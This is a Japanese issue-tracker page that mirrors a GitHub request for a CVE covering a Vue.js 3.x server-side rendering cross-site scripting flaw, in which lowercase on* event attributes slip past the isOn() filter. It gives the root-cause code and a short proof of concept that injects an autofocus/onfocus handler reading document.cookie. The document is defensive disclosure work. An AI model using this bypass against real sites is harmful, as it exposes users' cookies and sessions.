CVE Request: Cross-Site Scripting via isOn() bypass in Vue.js 3.x SSR (GHSA-5w45-w79q-rpqq)
まだ誰も着手していません。
評価
- 難易度
- 4/5
- 見積もり時間
- 3〜5日
- 初心者へのやさしさ
- 35/100
- issue の種類
- ドキュメント
- 明瞭さ
- 明確に書かれている
- 活発さ
- 静か
- 技術スタック
- github, javascript
- 領域
- security
調査の方向性
まず GHSA-5w45-w79q-rpqq と MITRE ticket #2013988 を確認し、次に開示のタイムラインと issue #7299 との違いを確認します。このリクエストに対応するコードのエントリポイントは指定されていません。完了とは、CNA がレポートを確認して CVE ID を割り当てるか、判断を記録することです。
索引モデルが issue の本文から書いたものです。
説明
CVE Request — Vendor Unresponsive
I am requesting GitHub CNA to assign a CVE ID for a high-severity vulnerability in Vue.js. The vendor has not responded after 10 days. This is a separate vulnerability from the RCE reported in github/advisory-database#7299.
Existing Advisory
- GHSA: GHSA-5w45-w79q-rpqq (submitted 2026-03-31, still in triage)
- MITRE: Ticket #2013988 (submitted 2026-03-25) + CVE Form (submitted 2026-04-03)
- Vendor: security@vuejs.org — notified 2026-03-25, zero response
Vulnerability Summary
| Field | Value |
|---|---|
| Product | Vue.js (vuejs/core) — @vue/shared, @vue/server-renderer |
| Versions | All Vue 3.x through 3.5.30 (latest) |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS | 7.2 High (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| Type | SSR Cross-Site Scripting — Regression of CVE-2018-6341 |
Root Cause
The isOn() function in packages/shared/src/general.ts:15 uses a case-sensitive check that only filters event attributes starting with on followed by an uppercase letter (e.g., onClick). However, HTML event attributes are case-insensitive, so onclick, ONCLICK, oNcLiCk all bypass the filter and render in SSR HTML output.
// isOn() only matches "on" + uppercase third character
export const isOn = (key) =>
key.charCodeAt(0) === 111 && // 'o'
key.charCodeAt(1) === 110 && // 'n'
(key.charCodeAt(2) > 122 || key.charCodeAt(2) < 97) // uppercase only!
onClick→ filtered ✓onclick→ bypasses filter ✗ (browser still executes)ONCLICK→ bypasses filter ✗
Proof of Concept
import { createSSRApp } from 'vue'
import { renderToString } from 'vue/server-renderer'
const app = createSSRApp({
template: '<input v-bind="$attrs" />',
inheritAttrs: true
})
const html = await renderToString(app, {
attrs: { autofocus: '', onfocus: 'alert(document.cookie)' }
})
// Output: <input autofocus onfocus="alert(document.cookie)">
// Zero-interaction XSS — autofocus triggers onfocus automatically
21 out of 21 DOM event handler attributes render in SSR output when using lowercase on* names.
Prior Art
- CVE-2018-6341 (Vue 2.x SSR v-bind XSS): The same class of vulnerability in Vue 2, fixed in v2.5.17. Vue 3's fix is incomplete — it only blocks camelCase event attributes, not lowercase/uppercase variants.
Disclosure Timeline
| Date | Action |
|---|---|
| 2026-03-25 | Reported to security@vuejs.org |
| 2026-03-25 | MITRE ticket #2013988 submitted |
| 2026-03-31 | GitHub PVR GHSA-5w45-w79q-rpqq submitted |
| 2026-04-03 | MITRE CVE Form submitted |
| 2026-04-04 | This GitHub CNA request |
| 2026-06-23 | 90-day public disclosure deadline |
Request
Please assign a CVE ID for this vulnerability. This is a distinct vulnerability (XSS, different root cause and CWE) from the RCE reported in #7299. The vendor has been completely unresponsive across all channels.
- 主要言語
- 言語のデータがありません
- スター
- 2.5k
- フォーク
- 772
- 平均マージ
- 3日 15時間
- マージ済み PR(30日)
- 46
コントリビューションガイド
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
github/advisory-database のほかの issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
github/advisory-database#9255 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
github/advisory-database#9164 · リアクション 1 件 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
github/advisory-database#8994 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
github/advisory-database#8898 · コメント 4 件 · リアクション 1 件 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
github/advisory-database#8841 ·
github/advisory-database の issue をすべて見る
似ている issue
-
good first issue
難易度 1/5 1時間未満 初心者へのやさしさ 95/100
AOSSIE-Org/DebateAI#582 · コメント 2 件 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 70/100
-
難易度 2/5 1〜3時間 初心者へのやさしさ 70/100
oasisprotocol/oasis-sdk#2523 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
-
cost:cheap severity:medium
難易度 2/5 1〜3時間 初心者へのやさしさ 70/100
fairagro/m4.2_sql_to_arc#227 ·